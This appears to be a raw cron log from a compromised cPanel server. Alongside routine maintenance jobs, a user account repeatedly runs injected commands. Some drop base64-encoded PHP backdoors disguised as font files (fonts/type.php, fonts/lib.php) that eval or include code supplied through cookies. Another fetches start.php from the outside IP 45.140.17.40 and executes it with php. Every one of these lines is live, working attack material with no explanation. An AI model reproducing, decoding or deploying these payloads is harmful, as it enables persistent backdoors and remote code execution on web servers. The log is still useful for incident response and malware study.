Sep  4 22:30:01 ip-184-168-122-23 CROND[30714]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 22:30:01 ip-184-168-122-23 CROND[30713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:30:01 ip-184-168-122-23 CROND[30715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:30:01 ip-184-168-122-23 CROND[30719]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:30:01 ip-184-168-122-23 CROND[30718]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:30:01 ip-184-168-122-23 CROND[30720]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 22:30:01 ip-184-168-122-23 CROND[30716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:31:01 ip-184-168-122-23 CROND[30828]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:31:01 ip-184-168-122-23 CROND[30827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:31:01 ip-184-168-122-23 CROND[30829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:31:01 ip-184-168-122-23 CROND[30830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:31:01 ip-184-168-122-23 CROND[30831]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 22:32:01 ip-184-168-122-23 CROND[30916]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:32:01 ip-184-168-122-23 CROND[30920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:32:01 ip-184-168-122-23 CROND[30918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:32:01 ip-184-168-122-23 CROND[30919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:32:01 ip-184-168-122-23 CROND[30917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:33:01 ip-184-168-122-23 CROND[31091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:33:01 ip-184-168-122-23 CROND[31093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:33:01 ip-184-168-122-23 CROND[31092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:33:01 ip-184-168-122-23 CROND[31094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:34:01 ip-184-168-122-23 CROND[31173]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:34:01 ip-184-168-122-23 CROND[31175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:34:01 ip-184-168-122-23 CROND[31178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:34:01 ip-184-168-122-23 CROND[31177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:34:01 ip-184-168-122-23 CROND[31176]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:35:01 ip-184-168-122-23 CROND[31270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:35:01 ip-184-168-122-23 CROND[31271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:35:01 ip-184-168-122-23 CROND[31273]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 22:35:01 ip-184-168-122-23 CROND[31272]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:35:01 ip-184-168-122-23 CROND[31275]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 22:35:01 ip-184-168-122-23 CROND[31277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:35:01 ip-184-168-122-23 CROND[31274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:35:01 ip-184-168-122-23 CROND[31279]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 22:36:01 ip-184-168-122-23 CROND[31391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:36:01 ip-184-168-122-23 CROND[31394]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:36:01 ip-184-168-122-23 CROND[31393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:36:01 ip-184-168-122-23 CROND[31392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:36:01 ip-184-168-122-23 CROND[31395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:37:01 ip-184-168-122-23 CROND[31488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:37:01 ip-184-168-122-23 CROND[31489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:37:01 ip-184-168-122-23 CROND[31490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:37:01 ip-184-168-122-23 CROND[31491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:38:01 ip-184-168-122-23 CROND[31651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:38:01 ip-184-168-122-23 CROND[31653]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:38:01 ip-184-168-122-23 CROND[31654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:38:01 ip-184-168-122-23 CROND[31655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:38:01 ip-184-168-122-23 CROND[31656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:39:01 ip-184-168-122-23 CROND[31747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:39:01 ip-184-168-122-23 CROND[31748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:39:01 ip-184-168-122-23 CROND[31752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:39:01 ip-184-168-122-23 CROND[31751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:39:01 ip-184-168-122-23 CROND[31750]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 22:40:02 ip-184-168-122-23 CROND[31842]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 22:40:02 ip-184-168-122-23 CROND[31844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:40:02 ip-184-168-122-23 CROND[31843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:40:02 ip-184-168-122-23 CROND[31846]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:40:02 ip-184-168-122-23 CROND[31845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:40:02 ip-184-168-122-23 CROND[31848]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 22:40:02 ip-184-168-122-23 CROND[31847]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:40:02 ip-184-168-122-23 CROND[31849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:41:01 ip-184-168-122-23 CROND[31952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:41:01 ip-184-168-122-23 CROND[31951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:41:01 ip-184-168-122-23 CROND[31953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:41:01 ip-184-168-122-23 CROND[31955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:42:01 ip-184-168-122-23 CROND[32050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:42:01 ip-184-168-122-23 CROND[32053]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
